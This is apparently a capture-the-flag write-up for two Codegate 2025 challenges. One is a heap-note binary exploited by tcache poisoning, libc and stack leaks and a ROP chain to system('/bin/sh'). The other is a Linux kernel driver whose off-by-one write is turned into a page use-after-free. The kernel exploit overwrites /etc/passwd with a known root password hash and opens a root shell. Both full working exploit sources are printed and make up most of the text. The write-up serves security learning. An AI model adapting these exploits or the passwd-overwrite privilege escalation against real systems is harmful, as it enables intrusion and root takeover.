Better than last year!

alt text

Todo List

Attachment

This is a normal heap-note challenge.

There is a logic bug in this program that can lead to a buffer-overflow attack.

  • The create function doesn’t check if there are || strings in desc or title:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall create()
{
...
printf("Title: ");
v1 = read(0, buf->title, 0xFuLL);
if ( buf->title[v1 - 1] == 10 )
buf->title[v1 - 1] = 0;
...
printf("Desc : ");
v1 = read(0, buf->des, 0x18uLL);
if ( buf->des[v1 - 1] == 10 )
buf->des[v1 - 1] = 0;
puts("Done");
}
  • Also the similar to complete, it writes title and des to the file without checking ||:
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 complete()
{
...
write(fd, "[[", 2uLL);
n = strlen(s->title);
write(fd, s, n);
write(fd, "||", 2uLL);
n_1 = strlen(s->des);
write(fd, s->des, n_1);
write(fd, "]]\n", 3uLL);
...
}
  • The load function checks the first || substring appearing in title, not the intended one for splitting between title and des. That means the left data after the first || will be appended to des, so loaded des can have a length more than 0x18, which causes buffer overflow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dest = &todo_list[count];
dest->des = des_buf;
src = (char *)memchr(x, '[', 48uLL);
if ( src
&& src[1] == '['
&& (src += 2, v4 = (_DWORD)src - ((unsigned int)rbp_ - 64), (v9 = (char *)memchr(src, 124, (int)(48 - v4))) != 0LL)
&& v9[1] == '|' )
{
memcpy(dest, src, v9 - src);
src = v9 + 2;
v4 = (_DWORD)v9 + 2 - ((unsigned int)rbp_ - 64);
v9 = (char *)memchr(v9 + 2, ']', (int)(48 - v4));
if ( v9 && v9[1] == ']' )
memcpy(dest->des, src, v9 - src);
close(fd);
puts("Done");

First, I leaked the heap’s address by filling a 0x20 chunk with byte “A”. printf function printed the fd of tcachebin next to it:

1
2
3
4
5
6
7
8
9
10
create(0, b'||'+b'A'*5, b'1'*0x18)
create(1, b'B'*0xf, b'2'*0x18)
create(2, b'C'*0xf, b'3'*0x18)
delete(1)
complete(0)
load(0, 1)
check(1)
p.recvuntil(b'Desc : AAAAA||111111111111111111111111!')
heap = u64(p.recv(5)+b'\0\0\0') << 12
log.success(hex(heap))

alt text

Next, I used tcache poisoning to change the size of the top chunk:

1
2
3
4
5
6
_ = ((heap+0x320) >> 12) ^ (heap+0x330)
log.info(hex(_))
create(0, b'||'+b'X'*12, b'1'*0x12+p64(_)[:4])
complete(0)
delete(2)
load(1, 4)

alt text

Changing the size to 0xcd1. Calling create many times to make the top chunk smaller. Finally, it will be reallocated to another position:

1
2
3
4
5
6
7
8
9
edit(4, b'A'*8+p64(0xcd1))
complete(4)
load(2, 0)
load(2, 1)
load(2, 2)
create(5, b'5', b'5'*0x18)
create(6, b'6', b'6'*0x18)
for i in range(0xcd0//0x20+1):
create(7, b'7', b'@'*0x18)

Since the fifth des was the first chunk allocated from the old top chunk, I was still able to change its size. Change the size to 0x7e1 ( very big ). Free it, than we have an unsorted bin. Allocating the fifth one again, the unsorted bin would have been duplicated with the sixth one.

1
2
3
4
5
6
7
edit(2, b'A'*8+p64(0x7e1))
delete(5)
create(5, b'5', b'-'*0x18)
check(6)
p.recvuntil(b'Desc : ')
libc.address = u64(p.recv(6)+b'\0\0') - (libc.sym.main_arena+96)
log.success(hex(libc.address))

alt text

Using the same technique to leak the stack via environ@libc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
create(0, b'0', b'0'*0x10)
_ = ((heap+0x380) >> 12) ^ (libc.sym.environ-0x18)
assert (b'\n' not in p64(_))
create(1, b'||'+b'X'*13, b'1'*0x11+p64(_)[:6])
create(2, b'0', b'2'*0x10)
delete(0)
delete(2)
complete(1) # 3
load(3, 1)
load(2, 0)
load(2, 0)
edit(0, b'A'*0x18)
check(0)
p.recvuntil(b'Desc : '+b'A'*0x18)
stack = u64(p.recv(6)+b'\0\0')
log.success(hex(stack))
load_retaddr = stack - 0x150 # load func's frame

Writing the rop chain to the stack is quite a hard challenge.

In load function, we can only write one address at once because of null-terminating.

We can write 0x18 bytes with edit function only if we successfully return from load function.

… And the main function never returns….

Walking through many gadgets of libc ….

alt text

…. I decided to write a small rop chain at load’s save return address + 0x18 before overwriting its return address.

In case having problem with stack alignment in do_system, I could jump to system+27 instead of system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> disass system
Dump of assembler code for function __libc_system:
0x00007ffff7c58750 <+0>: endbr64
0x00007ffff7c58754 <+4>: test rdi,rdi
0x00007ffff7c58757 <+7>: je 0x7ffff7c58760 <__libc_system+16>
0x00007ffff7c58759 <+9>: jmp 0x7ffff7c582d0 <do_system>
0x00007ffff7c5875e <+14>: xchg ax,ax
0x00007ffff7c58760 <+16>: sub rsp,0x8
0x00007ffff7c58764 <+20>: lea rdi,[rip+0x172ccc] # 0x7ffff7dcb437
0x00007ffff7c5876b <+27>: call 0x7ffff7c582d0 <do_system>
0x00007ffff7c58770 <+32>: test eax,eax
0x00007ffff7c58772 <+34>: sete al
0x00007ffff7c58775 <+37>: add rsp,0x8
0x00007ffff7c58779 <+41>: movzx eax,al
0x00007ffff7c5877c <+44>: ret

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python
from pwn import *
from time import sleep
from os import system

context.binary = e = ELF("prob_patched")
libc = ELF("./libc.so.6")
gs = """
set max-visualize-chunk-size 0x200
brva 0x202C
b exit
"""
def start():
if args.LOCAL:
p = e.process()

elif args.REMOTE: # python x.py REMOTE <host> <port>
host_port = sys.argv[1:]
p = remote(host_port[0], int(host_port[1]))
return p

def create(idx: int, title, desc):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Title: ", title)
p.sendafter(b"Desc : ", desc)

def edit(idx: int, desc):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Desc : ", desc)

def check(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b"Index: ", str(idx).encode())

def complete(idx):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b"Index: ", str(idx).encode())

def load(no_, idx):
p.sendlineafter(b'> ', b'5')
p.sendlineafter(b"Todo No : ", str(no_).encode())
p.sendlineafter(b"Index: ", str(idx).encode())

def delete(idx):
p.sendlineafter(b'> ', b'6')
p.sendlineafter(b"Index: ", str(idx).encode())

system("rm -rf todo && mkdir todo")
p = start()

create(0, b'||'+b'A'*5, b'1'*0x18)
create(1, b'B'*0xf, b'2'*0x18)
create(2, b'C'*0xf, b'3'*0x18)
delete(1)
complete(0)
load(0, 1)
check(1)
p.recvuntil(b'Desc : AAAAA||111111111111111111111111!')
heap = u64(p.recv(5)+b'\0\0\0') << 12
log.success(hex(heap))

_ = ((heap+0x320) >> 12) ^ (heap+0x330)
log.info(hex(_))
create(0, b'||'+b'X'*12, b'1'*0x12+p64(_)[:4])
complete(0)
delete(2)
load(1, 4)

edit(4, b'A'*8+p64(0xcd1))
complete(4)
load(2, 0)
load(2, 1)
load(2, 2)
create(5, b'5', b'5'*0x18)
create(6, b'6', b'6'*0x18)

for i in range(0xcd0//0x20+1):
create(7, b'7', b'@'*0x18)

edit(2, b'A'*8+p64(0x7e1))
delete(5)
create(5, b'5', b'-'*0x18)
check(6)
p.recvuntil(b'Desc : ')
libc.address = u64(p.recv(6)+b'\0\0') - (libc.sym.main_arena+96)
log.success(hex(libc.address))

if args.GDB:
gdb.attach(p, gdbscript=gs)
pause()

create(0, b'0', b'0'*0x10)
_ = ((heap+0x380) >> 12) ^ (libc.sym.environ-0x18)
assert (b'\n' not in p64(_))
create(1, b'||'+b'X'*13, b'1'*0x11+p64(_)[:6])
create(2, b'0', b'2'*0x10)
delete(0)
delete(2)
complete(1) # 3
load(3, 1)
load(2, 0)
load(2, 0)
edit(0, b'A'*0x18)
check(0)
p.recvuntil(b'Desc : '+b'A'*0x18)
stack = u64(p.recv(6)+b'\0\0')
log.success(hex(stack))
load_retaddr = stack - 0x150 # load func's frame
main_retaddr = load_retaddr+0x20

_ = ((heap+0x3e0) >> 12) ^ (load_retaddr+0x18)
assert (b'\n' not in p64(_))

create(0, b'0', b'!'*0x10)
create(1, b'||'+b'X'*13, b'$'*0x11+p64(_)[:6])
create(2, b'0', b'#'*0x10)
delete(0)
delete(2)
complete(1) # 4
load(4, 1)
RDI_RET = libc.address + 0x000000000010f75b
create(4, b'rop', b"A"*8+p64(RDI_RET))
complete(4) # 5
load(5, 0)
load(5, 2)
load(5, 2)

_ = ((heap+0x3e0+0x20*4) >> 12) ^ (load_retaddr+0x18+0x10)
assert (b'\n' not in p64(_))
create(0, b'0', b'!'*0x10)
create(1, b'||'+b'X'*13, b'$'*0x11+p64(_)[:6])
create(2, b'0', b'#'*0x10)
delete(0)
delete(2)
complete(1) # 6
load(6, 1)
create(4, b'rop', b"A"*8+p64(0x1337))
complete(4) # 7
load(7, 0)
load(7, 2)
load(7, 2)
RDI_RET = libc.address + 0x000000000010f75b
edit(2, p64(next(libc.search(b'/bin/sh')))+p64(libc.sym.system+27))

create(0, b'0', b'!'*0x10)
_ = ((heap+0x3e0+0x20*8) >> 12) ^ (load_retaddr-0x8)
assert (b'\n' not in p64(_))
create(1, b'||'+b'Y'*13, b'*'*0x11+p64(_)[:6])
log.info(hex(_))
create(2, b'0', b'#'*0x10)
delete(0)
delete(2)
complete(1) # 8
load(8, 1)
create(4, b'rop', b"F"*8+p64(libc.address+0x000000000010ecaf))
complete(4) # 9
load(9, 0)
load(9, 2)
load(9, 2)

p.interactive()

alt text

flag: codegate2025{e02166db2f1210eab9ede58b4448df2973c4ab5fe2b165abe62fbab31b3c931f894bac021c35a1a993182a386254d87c75945f9776abe39af43526e

pew

Attachment

This is a Linux kernel exploit challenge.

I used this script to extract the root.img.gz file.

alt text

I opened the driver file pew.ko in IDA Pro to analyze it.

First, it creates a “device” /dev/pew:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl dev_init()
{
int v0; // ebx
class *my_class; // rax

v0 = -1;
if ( !alloc_chrdev_region(&dev, 0, 1u, "pew") )
{
my_dev_major = dev >> 20;
dev &= 0xFFF00000;
cdev_init(&my_dev, &vd_fops);
if ( cdev_add(&my_dev, dev, 1u) )
{
LABEL_7:
unregister_chrdev_region(dev, 1u);
return -1;
}
my_class = class_create("pew");
my_class = my_class;
if ( (unsigned __int64)my_class > 0xFFFFFFFFFFFFF000LL )
{
LABEL_6:
cdev_del(&my_dev);
goto LABEL_7;
}
v0 = 0;
if ( (unsigned __int64)device_create(my_class, 0LL, my_dev_major << 20, 0LL, "pew") >= 0xFFFFFFFFFFFFF001LL )
{
class_destroy(my_class);
goto LABEL_6;
}
}
return v0;
}

It will allocate a 0x1000-byte buffer if we open the device, and buffer is equal to NULL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 pew_open()
{
unsigned int v0; // ebx

v0 = 0;
if ( !buffer )
{
buffer = (char *)_kmalloc(MAX_BUF, 0x400DC0u);
if ( !buffer )
{
...
}
}
return v0;
}

In pew_ioctl, we can control the values of val and off, but we can only use buffer[off] = val once:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
long __fastcall pew_ioctl(file *flip, unsigned int cmd, __int64 arg)
{
switch ( cmd )
{
case 0x1003u:
if ( allowed )
{
if ( off <= MAX_BUF )
{
allowed = 0;
if ( buffer )
{
buffer[off] = val;
return 1LL;
}
}
}
break;
case 0x1002u:
val = arg;
break;
case 0x1001u:
off = arg;
return 1LL;
}
return 1LL;
}

Noticing that the buffer’s size is MAX_BUF ( 0x1000 ), but the condition is off <= MAX_BUF. So there is an off-by-one bug in here, when off = MAX_BUF.

In the pew_release function, the driver will free the buffer if we close the file, but it won’t clean the buffer’s address. If we open the device twice, there will be a double-free bug.

1
2
3
4
5
6
__int64 __fastcall pew_release(inode *inode, file *flip)
{
if ( buffer )
kfree(buffer);
return 0LL;
}

In summary, there are two bugs in this driver: out-of-bounds and double-free.

I had tried cross-cache attacking with the double-free bug with spraying heap, but it had not worked since the flag used when the driver calls kmalloc is 0x400DC0, which doesn’t include GFP_KERNEL or GFP_USER. I couldn’t make the kernel allocate many well-known structs on the freed buffer.

Thinking about the out-of-bounds one. Since I can only write one byte once, the most useful struct in this situation should be struct pipe_buffer.

Why is it useful? Let’s review its definition:

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

What will happen when I write one byte to a pipe_buffer object?

Assuming that there are two objects. The first one has a page at 0xffffea0000241180 and the second one has a page at 0xffffea00002411c0. When I write byte 0xc0 to the first one, both of them now have the same page. When one of them is freed, the page is freed too, but we can “use-after-free` via the other object.

To make sure, I allocated many pipes to check if there is a pipe_buffer at buffer+0x1000 or not:

alt text

So now, I just need to allocate many pipes, trigger that bug, and find which pair of pipes has the same page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int fd1, fd2;
void *tmp = malloc(0x1000);
uint64_t pipe_magic;

for (uint i = 0; i < PIPE_NUM; i++) {
if (pipe(pipe_fd[i]) < 0) {
panic("PIPE_ERROR.");
}
}

for (uint i = 0; i < PIPE_NUM; i++) {
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {
printf("[x] failed to extend %d pipe!\n", i);
return -1;
}
}

for (int i = 0; i < PIPE_NUM; i++) {
if (i % 0x10) {
memcpy(tmp, "ABCD1234", 0x8);
pipe_magic = 0xdeadbeef + i;
write(pipe_fd[i][1], tmp, 0x8);
write(pipe_fd[i][1], &pipe_magic, 0x8);
}
}

puts("[*] Create hole.");
for (int i = 0x10; i < PIPE_NUM; i += 0x10) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

fd1 = open(devfile, O_RDONLY);
setVal(fd1, 0xc0);
setOff(fd1, 0x1000);
setChar(fd1);
size_t victim_idx, prev_idx = 0;
uint64_t magik = 0;
void *tmp1 = malloc(0x1000);
for (uint i = 0; i < PIPE_NUM; ++i) {
if (i % 0x10) {
read(pipe_fd[i][0], tmp1, 0x8);
read(pipe_fd[i][0], &magik, 0x8);
if ((magik != 0xdeadbeef + i) && (memcmp(tmp1, "ABCD1234", 8) == 0)) {
puts(tmp1);
victim_idx = magik - 0xdeadbeef;
if (victim_idx >= PIPE_NUM)
goto fail;
prev_idx = i;
printf("Found two pipes dup %lu - %lu\n", victim_idx, prev_idx);
break;
}
}
}

if (victim_idx == 0 || prev_idx == 0) {
fail:
panic("Fail");
}

After having 2 pipe objects having the same page, I deallocated one pipe and allocated many file objects that refering to /etc/passwd, used the other pipe to change file::mode. Since I had written the data to /etc/passwd, I could use su to login as root and get the flag.

But also noticing that the offset of mode in file struct is 0x14, I had to write 0x14 bytes to the pipe before spraying.

alt text

Full exploit source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <sys/xattr.h>

typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;

typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;

#define DEBUG
#ifdef DEBUG

#define logOK(msg, ...) dprintf(STDERR_FILENO, "[+] " msg "\n", ##__VA_ARGS__)
#define logInfo(msg, ...) dprintf(STDERR_FILENO, "[*] " msg "\n", ##__VA_ARGS__)
#define logErr(msg, ...) dprintf(STDERR_FILENO, "[!] " msg "\n", ##__VA_ARGS__)
#else
#define errExit(...) \
do { \
} while (0)

#define WAIT(...) errExit(...)
#define logOK(...) errExit(...)
#define logInfo(...) errExit(...)
#define logErr(...) errExit(...)
#endif

#define asm __asm__

#define SAFE(result) \
({ \
typeof(result) _r = (result); \
if (_r < 0) \
log_err("%s:%d: returned %p", __FILE__, __LINE__, _r); \
_r; \
});

static inline void panic(const char *msg) {
perror(msg);
exit(EXIT_FAILURE);
}

#define ARR_SIZE(arr) sizeof(arr) / sizeof(arr[0])

#define devfile "/dev/pew"

static inline int setVal(int fd, char val) { return ioctl(fd, 0x1002, val); }
static inline int setOff(int fd, uint64_t off) {
return ioctl(fd, 0x1001, off);
}
static inline int setChar(int fd) { return ioctl(fd, 0x1003); }

#define PIPE_NUM 0x80
#define FILE_NUM 0x300

int pipe_fd[PIPE_NUM][2];
int file_fd[FILE_NUM];

int main(int argc, char **argv, char **envp) {

int fd1, fd2;
void *tmp = malloc(0x1000);
uint64_t pipe_magic;

for (uint i = 0; i < PIPE_NUM; i++) {
if (pipe(pipe_fd[i]) < 0) {
panic("PIPE_ERROR.");
}
}

for (uint i = 0; i < PIPE_NUM; i++) {
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 64) < 0) {
printf("[x] failed to extend %d pipe!\n", i);
return -1;
}
}

for (int i = 0; i < PIPE_NUM; i++) {
if (i % 0x10) {
memcpy(tmp, "ABCD1234", 0x8);
pipe_magic = 0xdeadbeef + i;
write(pipe_fd[i][1], tmp, 0x8);
write(pipe_fd[i][1], &pipe_magic, 0x8);
}
}

puts("[*] Create hole.");
for (int i = 0x10; i < PIPE_NUM; i += 0x10) {
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}

fd1 = open(devfile, O_RDONLY);
setVal(fd1, 0xc0);
setOff(fd1, 0x1000);
setChar(fd1);
size_t victim_idx, prev_idx = 0;
uint64_t magik = 0;
void *tmp1 = malloc(0x1000);
for (uint i = 0; i < PIPE_NUM; ++i) {
if (i % 0x10) {
read(pipe_fd[i][0], tmp1, 0x8);
read(pipe_fd[i][0], &magik, 0x8);
if ((magik != 0xdeadbeef + i) && (memcmp(tmp1, "ABCD1234", 8) == 0)) {
puts(tmp1);
victim_idx = magik - 0xdeadbeef;
if (victim_idx >= PIPE_NUM)
goto fail;
prev_idx = i;
printf("Found two pipes dup %lu - %lu\n", victim_idx, prev_idx);
break;
}
}
}

if (victim_idx == 0 || prev_idx == 0) {
fail:
panic("Fail");
}

write(pipe_fd[prev_idx][1], tmp1, 0x14); // file->mode

puts("[*] UAF one of the pipe->page.");
// getchar();
close(pipe_fd[victim_idx][0]);
close(pipe_fd[victim_idx][1]);
sleep(1);

puts("[*] Spray passwd file...");

for (int i = 0; i < FILE_NUM; i++) {
file_fd[i] = open("/etc/passwd", 0);
if (!file_fd[i]) {
panic("open");
}
}

int mode = 0x480e801f;
write(pipe_fd[prev_idx][1], &mode, 4);
char *data = "root:$1$vjp$MwIITGBsI/yq9SjW7FXPj0:0:0:test:/root:/bin/sh\n";
printf("Setting root password to \"vjp\"...\n");
int data_size = strlen(data);

puts("[*] Finally: edit the pwd file");
for (int i = 0; i < FILE_NUM; i++) {
int retval = write(file_fd[i], data, data_size);
if (retval > 0) {
printf("Write Success:%d!\n", i);
system("cat /etc/passwd; sh");
}
printf("%d\n", i);
}

system("echo ':(' ; sh");
}

alt text

Flag: codegate2025{!nT3nD3d_s0Lut!0N_W@s_P4gE_u@F_Y0UrS_T0o?}

The idea of exploiting I learned from this: https://github.com/Lotuhu/Page-UAF/tree/master/CVE-2021-22555

Note: Because the exploit can not find two dup pipes everytime, I changed init and run.sh script to reboot the system automatically.

init:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/bin/sh

mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t tmpfs -o noexec,nosuid,mode=0755 tmpfs /tmp
mount -t devtmpfs -o nosuid,mode=0755 udev /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

insmod /pew.ko
chmod 666 /dev/pew
chmod 600 /flag
chown ctf:ctf /home/ctf/exploit
su ctf -c "cd /home/ctf; /bin/sh -c ./exploit"
reboot

run.sh:

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
exec qemu-system-x86_64 \
-kernel bzImage \
-cpu kvm64,+smep,+smap,+rdrand \
-m 256M \
-initrd $1 \
-append "console=ttyS0 loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1 nokaslr" \
-monitor /dev/null \
-nographic -enable-kvm \
-s